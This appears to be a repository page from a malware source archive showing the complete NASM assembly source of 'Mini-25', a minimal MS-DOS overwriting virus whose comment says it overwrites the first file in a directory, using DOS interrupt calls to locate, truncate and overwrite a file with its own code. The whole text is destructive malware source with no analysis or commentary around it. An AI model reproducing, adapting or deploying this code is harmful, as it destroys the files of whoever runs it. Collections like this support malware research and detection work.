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vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.ow10.asm
2021-01-12 17:55:26 -06:00

21 lines
420 B
NASM

;
; Mini-25
;
; Overwrites the first file in a directory
FNAM Equ 09eh
Db '*.*',0
Main: Mov Ah,4eh
Mov Dx,Cx
Int 21h
Mov Ah,3ch
Lea Dx,FNAM
On2: Int 21h
Mov Bh,40h
Xchg Cx,Dx
Xchg Ax,Bx
Jmp On2
Length Equ $-Main